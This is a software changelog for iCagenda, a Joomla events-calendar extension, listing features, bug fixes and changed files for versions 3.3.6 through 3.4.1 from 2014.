# [LOW] Fixed : filtering by category in events admin list was broken.
# [LOW] Fixed : Minor warning message in admin 'Themes manager' page (don't worry, nothing is broken!), 'Error loading component: COM_ICAGENDA, Component not found'.
# [LOW] Fixed : a few minor issue in admin list of events (date in current language, notice error $list var, ...).
# [LOW] Fixed : no display of events if category is unpublished.
# [LOW] Fixed : Keep in session Terms and Conditions checked, when reCaptcha is not correct.
# [LOW] Fixed : alias not generated when latin and non-latin characters in title (no datetime url safe alias, depending of unicode slug joomla global config setting).
# [LOW] Fixed : wrong display of menu option 'Features' on Joomla 2.5.
# [LOW] Fixed : if click on cancel on registration form, and when back to event details view, the back arrow was returning to registration form (now returns to parent list of events).

* Changed files in 3.4.1
~ admin/add/css/jquery-ui-1.8.17.custom.css
~ admin/config.xml
~ admin/globalization/uk-UA.php
~ admin/models/events.php
~ admin/models/fields/modal/cat.php
~ admin/models/fields/modal/date.php
~ admin/models/fields/modal/enddate.php
~ admin/models/fields/modal/ictextarea_counter.php
~ admin/models/fields/modal/startdate.php
~ admin/models/fields/modal/template.php
~ admin/models/forms/event.xml
~ admin/tables/event.php
~ admin/utilities/events/events.php
~ admin/utilities/form/form.php
~ admin/utilities/menus/menus.php
~ admin/views/event/tmpl/edit.php
~ admin/views/event/view.html.php
~ admin/views/events/tmpl/default.php
~ admin/views/events/view.html.php
~ admin/views/themes/tmpl/default.php
~ admin/views/themes/view.html.php
~ [LIBRARY] libraries/ic_library/date/date.php
~ [LIBRARY] libraries/ic_library/date/period.php
~ [LIBRARY] libraries/ic_library/thumb/create.php
~ [LIBRARY] libraries/ic_library/thumb/get.php
~ [MEDIA] media/css/icagenda-front.css
~ [MEDIA] media/js/icdates.js
~ [MODULE][PRO] modules/mod_ic_event_list/css/default_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/css/icrounded_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/helper.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/default.php
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/icrounded.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [PLUGIN] plugins/search/icagenda/icagenda.php
~ script.icagenda.php
~ site/add/css/jquery-ui-1.8.17.custom.css
~ site/helpers/ichelper.php
~ site/helpers/icmodel.php
~ site/models/events.php
+ site/models/forms/registration.xml
~ site/models/forms/submit.xml
~ site/models/list.php
~ site/models/submit.php
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/default/default_events.php
~ [THEME PACKS] site/themes/packs/default/default_registration.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_day.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_events.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_registration.php
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/default.xml
+ site/views/list/tmpl/default_categories.php
~ site/views/list/tmpl/default_vcal.php
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/list/view.feed.php
~ site/views/list/view.html.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/tmpl/default.xml
~ site/views/submit/tmpl/send.php
~ site/views/submit/view.html.php


iCagenda 3.4.0 <small style="font-weight:normal;">(2014.12.22)</small>
================================================================================
! New : Custom fields.
1 - Available in registration and event edition forms.
1 - Field types : text, list, radio buttons.
! New : Feature Icons.
1 - Create icons for each feature.
1 - Attribute one or more features individually for each event.
1 - Feature can be for example: Parking, Refreshments, Restaurant, Hotel, Free, TV, Toilets, Swimming, Airport... (no limit of usage!).
! New : Librairies
1 - iC Library : standalone library (loaded by a plugin).
1 - iCagenda Utilities : integrated library of iCagenda.
! New : Full Thumbnails generator
1 - Options for 4 predetermined sizes : large, medium, small, xsmall.
1 - For each thumbnail size, individual options : width, height, quality, crop.
! Improvement and new options:
1 - Captcha option added in 'Registration' and 'Submit an event' forms.
1 - RTL integration (component and modules)
1 - SQL requests improvement (faster process of database queries)
1 - Link to event details from modules and search plugin now detect the category filter setting from each menu items.
1 - Notification email to user who has submitted an event in frontend, with an Event Reference Number.
1 - ...
! Please check all release notes since 3.4.0-alpha1 to review all the changes and new options added since 3.3.8

* Release Notes 3.4.0
~ Changed : 'btn' class renamed in 'ic-btn' for frontend (mainly used for buttons).
~ Changed : a few css improvement (ic_rounded theme, liveupdate design...), and new classes added for a few core functions (date time display...).
# [LOW] Fixed : minor issues with 3.4.0-rc.

* Changed files in 3.4.0
~ admin/config.xml
~ admin/icagenda.php
~ admin/liveupdate/assets/liveupdate.css
~ admin/liveupdate/classes/abstractconfig.php
~ admin/liveupdate/classes/tmpl/nagscreen.php
~ admin/liveupdate/classes/tmpl/overview.php
~ admin/liveupdate/classes/updatefetch.php
~ admin/utilities/customfields/customfields.php
~ admin/utilities/events/events.php
+ admin/utilities/params/params.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/info/tmpl/default.php
~ [LIBRARY] libraries/ic_library/date/date.php
+ [LIBRARY] libraries/ic_library/date/period.php
~ [MEDIA] media/css/icagenda-front.css
+ [MEDIA] media/js/icagenda.js
~ [MODULE][PRO] modules/mod_ic_event_list/helper.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ [PLUGIN] plugins/system/ic_library/ic_library.php
~ script.icagenda.php
~ site/helpers/ichelper.php
~ site/helpers/icmodel.php
~ site/helpers/media_css.class.php
~ site/models/events.php
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/default/css/default_component_xsmall.css
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component_medium.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component_small.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component_xsmall.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/list/view.html.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/tmpl/send.php
~ site/views/submit/view.html.php


$ iCagenda 3.4.0-rc <small style="font-weight:normal;">(2014.12.14)</small>
================================================================================
! RTL integration (component and modules)
! SQL requests improvement (faster process of database queries)
! [MODULES & PLUGIN] Link to event details from modules and search plugin now detect the category filter setting from each menu items.
! Notification email to user who has submitted an event in frontend, with an Event Reference Number (of type YYYYMMDDID where YYYY is year, MM is month, DD is day and ID is event id).
+ Added : form fields saved to session to keep data after submission of the form if a wrong captcha value was entered.
+ Added : nofollow for 'registration' and 'submit an event' form links (to not been read by search engine).
+ Added : option to set ordering of categories in drop-down field.
+ Added : option to set a category as default in drop-down field.
~ Changed : auto-generation of alias improved.
~ Changed : default order of categories in drop-down field by title (previously by id).
# [LOW] Fixed : issue with single date before 1999-11-30.
# [LOW] Fixed : tooltip not working in 'Submit an Event' form on Joomla 3.3.6 (fixed since alpha-1).
# [LOW] Fixed : pixelated event image in details view, if original image is too small.
# [LOW] Fixed : notice error 'DS' in admin and frontend after Joomla upgrade from 2.5 to 3.3.
# [LOW] Fixed : text counter bug in frontend 'Submit an Event' form on IE11.

* Changed files in 3.4.0-rc
~ admin/config.xml
~ admin/icagenda.php
~ admin/models/category.php
~ admin/models/event.php
~ admin/models/events.php
~ admin/models/feature.php
~ admin/models/fields/icmap/city.php
~ admin/models/fields/icmap/country.php
~ admin/models/fields/icmap/lat.php
~ admin/models/fields/icmap/lng.php
~ admin/models/fields/modal/cat.php
~ admin/models/fields/modal/date.php
~ admin/models/fields/modal/iclink_type.php
~ admin/models/fields/modal/ictextarea_counter.php
~ admin/models/fields/modal/multicat.php
~ admin/models/forms/feature.xml
~ admin/tables/category.php
~ admin/tables/customfield.php
~ admin/tables/event.php
~ admin/tables/feature.php
~ admin/tables/registration.php
~ admin/utilities/customfields/customfields.php
~ admin/utilities/events/events.php
~ admin/utilities/form/form.php
+ admin/utilities/menus/menus.php
~ admin/utilities/thumb/thumb.php
~ libraries/ic_library/filter/output.php
~ libraries/ic_library/url/url.php
~ media/css/icagenda-front.css
~ media/js/icform.js
+ [MODULE][PRO] modules/mod_ic_event_list/css/default_style-rtl.css
~ [MODULE][PRO] modules/mod_ic_event_list/css/default_style.css
+ [MODULE][PRO] modules/mod_ic_event_list/css/icrounded_style-rtl.css
~ [MODULE][PRO] modules/mod_ic_event_list/css/icrounded_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/helper.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/default.php
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/icrounded.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ site/add/css/style.css
~ site/add/elements/icsetvar.php
~ site/helpers/ichelper.php
~ site/helpers/icmodel.php
~ site/icagenda.php
+ site/models/events.php
~ site/models/forms/submit.xml
~ site/models/list.php
~ site/models/submit.php
+ [THEME PACKS] site/themes/packs/default/css/default_component-rtl.css
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
+ [THEME PACKS] site/themes/packs/default/css/default_module-rtl.css
~ [THEME PACKS] site/themes/packs/default/default_day.php
~ [THEME PACKS] site/themes/packs/default/default_registration.php
+ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component-rtl.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
+ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module-rtl.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_day.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_events.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_registration.php
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/default.xml
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/list/view.html.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/tmpl/default.xml
~ site/views/submit/tmpl/send.php
~ site/views/submit/view.html.php


$ iCagenda 3.4.0-beta2 <small style="font-weight:normal;">(2014.11.09)</small>
================================================================================
+ Captcha option added in 'Registration' and 'Submit an event' forms. You can select the joomla captcha plugin that will be used in the form.
+ Added : Custom fields filled added in the registration notification emails.
+ Added : 3 tags in registration notification emails : [CUSTOMFIELDS] (list of custom fields), [DATE] (only date) and [TIME] (only time).
+ Added : Option to redirect after validation of the frontend 'Submit an Event' form (default, article or url).
+ Added : Option to set a characters limit for Title in List of Events.
+ Added : Option to create custom CSS stylesheets to add to the iCagenda styles or to override existing CSS styles and classes (Global Options).
+ [PRO MODULE iC Event List] Added : Options to set a header and/or footer custom text.
+ [MODULE iC Calendar] Added : Option to select the date on which the calendar will load (month and year).
+ [MODULE iC Calendar] Added : Option to show/hide Month and/or Year navigation.
~ Changed : display of "LiveUpdate" button only to user with component global options permissions.
~ [MODULE iC Calendar] Changed : navigation routing improved in calendar (now compatible with Advanced Module Manager by NoNumber).
~ [Theme Packs] Changed : load animated png is replaced by a animated gif (to prevent not working on not compatible browsers).
# [LOW] Fixed : 'view event' redirect link, after registration submission.
# [LOW] Fixed : nofollow for 'print' and 'add to cal' icons links.
# [LOW] Fixed : issue with custom field type 'list' if set to 'required'. Field was not checked properly if 'alias' and 'slug' identical.
# [LOW] Fixed : Add to iCal if SEF not activated (wrong url).
# [LOW] Fixed : displays users registered depending on the date (when 'All dates of each event' option is selected in menu options).
# [LOW] Fixed : possibility to edit or removed a registered user when the event is not published.
# [LOW] Fixed : changed 'all period' to 'all dates' in registration option, and fix an issue in data saved when no period for an event.
# [LOW] Fixed : possible issues with "edit own" permission for event edition.
# [LOW] Fixed : auto-increment of image name in frontend submit an event form, if image name already exists.
# [LOW] Fixed : error when searching in event with special characters (ą ę ć ś ź ł ż ó ż ń).
# [PRO MODULE iC Event List] [LOW] Fixed : wrong date depending of the time zone (only if datetime or date display is selected).

* Changed files in 3.4.0-beta2
~ admin/config.xml
~ admin/models/events.php
~ admin/models/fields/modal/evt.php
~ admin/models/fields/modal/evt_date.php
~ admin/models/fields/modal/iclink_type.php
~ admin/models/fields/modal/thumbs.php
~ admin/models/forms/event.xml
~ admin/models/forms/registration.xml
~ admin/utilities/customfields/customfields.php
+ admin/utilities/events/events.php
~ admin/utilities/form/form.php
~ admin/views/events/tmpl/default.php
~ admin/views/events/view.html.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/registrations/tmpl/default.php
+ libraries/ic_library/date/date.php
~ libraries/ic_library/lib_ic_library.xml
~ libraries/ic_library/thumb/create.php
~ libraries/ic_library/url/url.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/default.php
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/icrounded.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ [PLUGIN] plugins/system/ic_library/ic_library.php
~ site/add/elements/icsetvar.php
~ site/helpers/iCicons.class.php
~ site/helpers/icmodel.php
~ site/helpers/media_css.class.php
~ site/models/list.php
~ site/models/submit.php
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/default/css/default_module.css
+ [THEME PACKS] site/themes/packs/default/images/ic_load.gif
- [THEME PACKS] site/themes/packs/default/images/ic_load.png
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
+ [THEME PACKS] site/themes/packs/ic_rounded/images/ic_load.gif
- [THEME PACKS] site/themes/packs/ic_rounded/images/ic_load.png
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/default_vcal.php
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/list/view.html.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/tmpl/default.xml
~ site/views/submit/view.html.php


$ iCagenda 3.4.0-beta1 <small style="font-weight:normal;">(2014.07.23)</small>
================================================================================
+ Added : Short Description field (you can now enter a special short description, to be used in the list of events as Intro Text).
+ Added : Limit options for Short Description, Auto-Introtext and Meta Description. Addition of a live counter of remaining characters both in admin event edit and submit an event forms.
+ Added : Option for maximum size of the uploaded image in frontend 'submit an event' form. This new function controls the file before upload, check the size and file type, and display a preview if the file is conformed.
+ Added : image added to rss feeds
+ [SQL] Added : 'shortdesc' in '#__icagenda_events' table
~ Changed : 'Meta' is replaced by 'Auto-Introtext' in Intro Text option (global component and modules options).
~ [THEME PACKS] Changed : Begin of renaming of existing CSS classes of ic_rounded theme pack (to use standardized naming, and prevent CSS conflicts with site templates and other third party extensions. Don't forget to update your custom theme pack if needed!)
~ Changed : a few code improvements, and control alert messages added.
# [LOW] Fixed : possible issue on a fresh install, with a wrong installation of the iC Library.
# [LOW] Fixed : wrong display in frontend of radio buttons, when using a Gantry Template.

* Changed files in 3.4.0-beta1
~ admin/add/css/icagenda.j25.css
~ admin/config.xml
+ admin/models/fields/modal/ictextarea_counter.php
~ admin/models/forms/event.xml
~ admin/views/event/tmpl/edit.php
~ admin/views/event/view.html.php
~ admin/views/icagenda/tmpl/color.php
~ icagenda.xml
~ libraries/ic_library/lib_ic_library.xml
~ media/css/icagenda-back.css
~ media/css/icagenda-front.css
+ media/js/icform.js
~ [MODULE][PRO] modules/mod_ic_event_list/css/default_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ script.icagenda.pro.php
~ site/add/css/icagenda.j25.css
~ site/add/elements/icsetvar.php
~ site/helpers/icmodel.php
~ site/icagenda.php
~ site/models/forms/submit.xml
~ site/models/list.php
~ site/models/submit.php
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/default.xml
~ site/views/list/view.html.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/tmpl/default.xml
~ site/views/submit/view.html.php


$ iCagenda 3.4.0-alpha2 <small style="font-weight:normal;">(2014.07.16)</small>
================================================================================
+ Added : Alert message with list of custom theme packs not updated to be compatible with custom fields and feature icons.
+ Added : Check if at least 1 category is published before adding/editing an event.
+ Added : Option to show/hide custom fields in frontend 'Submit an event' form (Menu Item params and Global Options).
+ Added : Own server for Testing Updates (alpha & beta).
# [MEDIUM] Fixed : SQL error 1064 in event edit if no custom fields exists.
# [LOW] Fixed : bug in checking if a slug already exists (custom fields) (could display multiple times the custom field in event details view).
# [LOW] Fixed : bug in display of information option in Event Details view.
# [LOW] Fixed : bug in fields display options in the form to submit an event in frontend.
# [LOW][PRO][MODULE iC Event List] Fixed : today date was not always properly set depending on your hosting location (now uses Joomla config offset).

* Changed files in 3.4.0-alpha2
~ admin/config.xml
~ admin/liveupdate/classes/abstractconfig.php
~ admin/liveupdate/config.php
~ admin/models/customfields.php
+ admin/sql/install/mysql/icagenda.install.sql
- admin/sql/install.mysql.utf8.sql
+ admin/sql/uninstall/mysql/icagenda.uninstall.sql
- admin/sql/uninstall.mysql.utf8.sql
~ admin/tables/customfield.php
~ admin/utilities/categories/categories.php
~ admin/utilities/customfields/customfields.php
+ admin/utilities/theme/theme.php
~ admin/views/customfields/tmpl/default.php
~ admin/views/event/tmpl/edit.php
~ admin/views/event/view.html.php
~ admin/views/events/view.html.php
~ admin/views/features/tmpl/default.php
~ admin/views/icagenda/tmpl/color.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/info/tmpl/default.php
~ admin/views/themes/tmpl/default.php
~ icagenda.xml
+ [iC Library] libraries/ic_library/file/file.php
~ [iC Library] libraries/ic_library/lib_ic_library.xml
~ [MODULE][PRO] modules/mod_ic_event_list/css/icrounded_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [PLUGIN][iC Library] plugins/system/ic_library/ic_library.php
~ script.icagenda.pro.php
~ site/add/elements/icsetvar.php
~ site/helpers/icmodel.php
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/tmpl/default.xml
~ site/views/submit/view.html.php


$ iCagenda 3.4.0-alpha1 <small style="font-weight:normal;">(2014.07.11)</small>
================================================================================
! New : Custom fields.
1 Available in registration and event edition forms.
1 Field types : text, list, radio buttons.
! New : Feature Icons.
1 Create icons for each feature.
1 Attribute one or more features individually for each event.
1 Feature can be for example: Parking, Refreshments, Restaurant, Hotel, Free, TV, Toilets, Swimming, Airport... (no limit of usage!).
! New : Librairies
1 iC Library : standalone library (loaded by a plugin).
1 iCagenda Utilities : integrated library of iCagenda.
! New : Full Thumbnails generator
1 Options for 4 predetermined sizes : large, medium, small, xsmall.
1 For each thumbnail size, individual options : width, height, quality, crop.
! Many code lines cleaned up, and global improvement. (zip is now 0,4 mb lighter!)
+ Added : Modified Date and Modified By fields in admin event edit form.
+ [PRO][MODULE iC Event List] Added : Detection of the categor(y)ies set in the menu items to generate link of an event.
+ [PRO][MODULE iC Event List] Added : Show/Hide venue name
~ [PRO][MODULE iC Event List] Changed : Improved design of icrounded layout.
~ Changed : default ordering of admin list of events is now ID descendant (latest created event in first position).
~ Changed : default ordering of admin list of registered users is now ID descendant (latest registered user in first position).
~ Changed : option to set 'Intro Text'; auto, hide, short desc or meta (global options and modules params).
# [LOW] Fixed : created date was missing in old versions of iCagenda (before 3.1.5). This version update database to set a valid created date for events created with versions of iCagenda < 3.1.5, and set in this order : modified date if valid or next/last date if valid or, at the end, will use current date. (this fix is to prevent wrong 'Created on 30 November -0001' in search results)

* Changed files in 3.4.0-alpha1
~ admin/access.xml
~ admin/add/elements/title.php
~ admin/add/elements/titleimg.php
~ admin/config.xml
+ admin/controllers/customfield.php
+ admin/controllers/customfields.php
~ admin/controllers/event.php
+ admin/controllers/feature.php
+ admin/controllers/features.php
~ admin/helpers/icagenda.php
~ admin/icagenda.php
+ admin/models/customfield.php
+ admin/models/customfields.php
~ admin/models/event.php
~ admin/models/events.php
+ admin/models/feature.php
+ admin/models/features.php
~ admin/models/fields/modal/date.php
+ admin/models/fields/modal/thumbs.php
+ admin/models/forms/customfield.xml
~ admin/models/forms/event.xml
+ admin/models/forms/feature.xml
~ admin/models/forms/registration.xml
~ admin/models/icagenda.php
~ admin/models/registration.php
~ admin/models/registrations.php
+ admin/tables/customfield.php
~ admin/tables/event.php
+ admin/tables/feature.php
~ admin/tables/icagenda.php
~ admin/tables/registration.php
+ admin/utilities/categories/categories.php
+ admin/utilities/class/class.php
+ admin/utilities/customfields/customfields.php
+ admin/utilities/form/form.php
+ admin/utilities/thumb/thumb.php
~ admin/views/category/tmpl/edit.php
+ admin/views/customfield/tmpl/edit.php
+ admin/views/customfield/view.html.php
+ admin/views/customfields/tmpl/default.php
+ admin/views/customfields/view.html.php
~ admin/views/event/tmpl/edit.php
~ admin/views/events/tmpl/default.php
~ admin/views/events/view.html.php
+ admin/views/feature/tmpl/edit.php
+ admin/views/feature/view.html.php
+ admin/views/features/tmpl/default.php
+ admin/views/features/view.html.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/icagenda/view.html.php
~ admin/views/info/tmpl/default.php
~ admin/views/registration/tmpl/edit.php
~ admin/views/registrations/tmpl/default.php
~ icagenda.xml
+ media/css/icagenda-back.css
+ media/css/icagenda-front.css
~ [iCicons][New icons] media/icicons/
+ media/images/customfields-16.png
+ media/images/customfields-48.png
+ media/images/features-16.png
+ media/images/features-48.png
+ media/images/panel_denied/customfields-48.png
+ media/images/panel_denied/features-48.png
~ [IMAGES][All png optimized] media/images/
~ media/js/icdates.js
- [FOLDER] media/scripts/
~ [MODULE][PRO] modules/mod_ic_event_list/css/default_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/css/icrounded_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/helper.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/default.php
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/icrounded.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
- [FOLDER] plugins/search/plg_icagenda/
+ [FOLDER] plugins/search/icagenda/
- [FOLDER] plugins/system/plg_ic_autologin/
+ [FOLDER] plugins/system/ic_autologin/
+ plugins/system/ic_library/ic_library.php
+ plugins/system/ic_library/ic_library.xml
~ script.icagenda.pro.php
~ site/add/elements/icsetvar.php
~ site/helpers/ichelper.php
~ site/helpers/iCicons.class.php
~ site/helpers/icmodel.php
~ site/icagenda.php
~ site/js/icmap.js
~ site/models/forms/submit.xml
~ site/models/list.php
~ site/models/submit.php
~ site/router.php
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/default/css/default_module.css
~ [THEME PACKS] site/themes/packs/default/default_day.php
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/default/default_events.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component_small.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component_xsmall.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_day.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_events.php
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/default.xml
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/list/view.feed.php
~ site/views/list/view.html.php
~ site/views/submit/tmpl/default.php
+ [iC Library] libraries/ic_library/color/color.php
+ [iC Library] libraries/ic_library/filter/output.php
+ [iC Library] libraries/ic_library/lib_ic_library.xml
+ [iC Library] libraries/ic_library/library/library.php
+ [iC Library] libraries/ic_library/string/string.php
+ [iC Library] libraries/ic_library/thumb/create.php
+ [iC Library] libraries/ic_library/thumb/get.php
+ [iC Library] libraries/ic_library/thumb/image.php
+ [iC Library] libraries/ic_library/url/url.php
+ [SQL] #__icagenda_customfields_data
+ [SQL] #__icagenda_feature
+ [SQL] #__icagenda_feature_xref


iCagenda 3.3.8 <small style="font-weight:normal;">(2014.07.04)</small>
================================================================================
+ Added : Events RSS feeds integrated to Joomla (This is a partial integration, displaying all events. An advanced integration with options, and events image in the RSS feed, will be added in 3.4.0 version, thanks to the new iC Library not yet implemented).
~ Changed : ChangeLog design
# [HIGH] Fixed : did not save the date selected during registration in datetime database format , depending on date format settings (was not working properly with name of the day of the week display displayed, eg. Saturday, 21 June 2014, or if AM/PM selected).
# [LOW] Fixed : quote issue in short description when sharing on facebook.

* Changed files in 3.3.8
~ admin/add/css/icagenda.css
+ admin/CHANGELOG.php
- admin/UPDATELOGS.php
~ admin/models/fields/modal/evt_date.php
~ admin/views/icagenda/tmpl/color.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/icagenda/view.html.php
~ icagenda.xml
~ script.icagenda.php
~ site/helpers/icmodel.php
~ site/models/list.php
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
+ site/views/list/view.feed.php


iCagenda 3.3.7 <small style="font-weight:normal;">(2014.05.29)</small>
================================================================================
! New : Custom notification emails to a user after registration to an event can be edit in html using your favorite editor.
+ Added : individual options for the display of fields in menu "Submit an event".
~ Changed : New registration button (uses icons, colors, and a redirect to login with return page, if user has no permission).
# [MEDIUM] Fixed : link to past event if "only next/last date" selected in the menu option, returned a view with no data, depending of value set in option 'Selection of events'.
# [LOW] Fixed : bug if 'today' and 'all dates' selected, could display no events (missing offset in date controls).
# [LOW] Fixed : in iCagenda 3.3.6, the notification emails to a user after registration to an event, do not account for newlines.
# [LOW] Fixed : Print popup view, if SEF disabled.

* Changed files in 3.3.7
~ admin/add/css/icagenda.j25.css
~ admin/config.xml
+ admin/models/fields/modal/ic_editor.php
~ [iCicons][Update] media/icicons/
~ site/helpers/icmodel.php
~ site/models/forms/submit.xml
~ site/models/list.php
~ site/models/submit.php
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/default/css/default_module.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/tmpl/default.xml
~ site/views/submit/view.html.php


iCagenda 3.3.6 <small style="font-weight:normal;">(2014.05.16)</small>
================================================================================
+ Added : Option for Intro Text : hide, the short description (generated from full description) or the meta description (Global Options of the component, and options of the modules).
+ [GLOBALIZATION] Added : tr-TR Turkish (Turkey) date formats.
+ [MODULE Calendar] Added : ID is added next to title of the menu, in option to select 'link to menu'.
+ [PRO] Added : Option to set minimum release stability for update notifications. (PRO OPTIONS tab in global options of iCagenda Pro)
~ [Optimization] : SQL request filtering improved in order to fix an issue, and speed up loading (more optimization to come concerning speed of page loading).
~ Changed : Division of the events tab in the global configuration into 2 tabs : Events (list of events options) and Event (details view options).
~ Changed : Updated addthis script (v300).
# [Optimization] Fixed : the list model was running the loading of data twice, and with this issue fixed the execution time for displaying a list is now halved (Thanks doorknob!).
# [HIGH]Fixed : Access to registration form if registration not activated in options.
# [LOW] Fixed : (only on Joomla 2.5) wrong display of print page if 'All Dates for each event' is selected in menu option.
# [LOW][MODULE Calendar][JS] Fixed : It was correctly deleting and adding the class style_Today but not the reverse for style_Day (by doorknob).
# [LOW]Fixed : Issue with Turkish language in admin events list (due to setlocale function, not used anymore).
# [LOW]Fixed : wrong closing select tags in 2 fields of the registration form.
# [LOW]Fixed : missing div tag in registration form.

* Changed files in 3.3.6
~ admin/config.xml
~ admin/globalization/iso.php
+ admin/globalization/tr-TR.php
~ admin/models/fields/modal/menulink.php
~ admin/views/events/tmpl/default.php
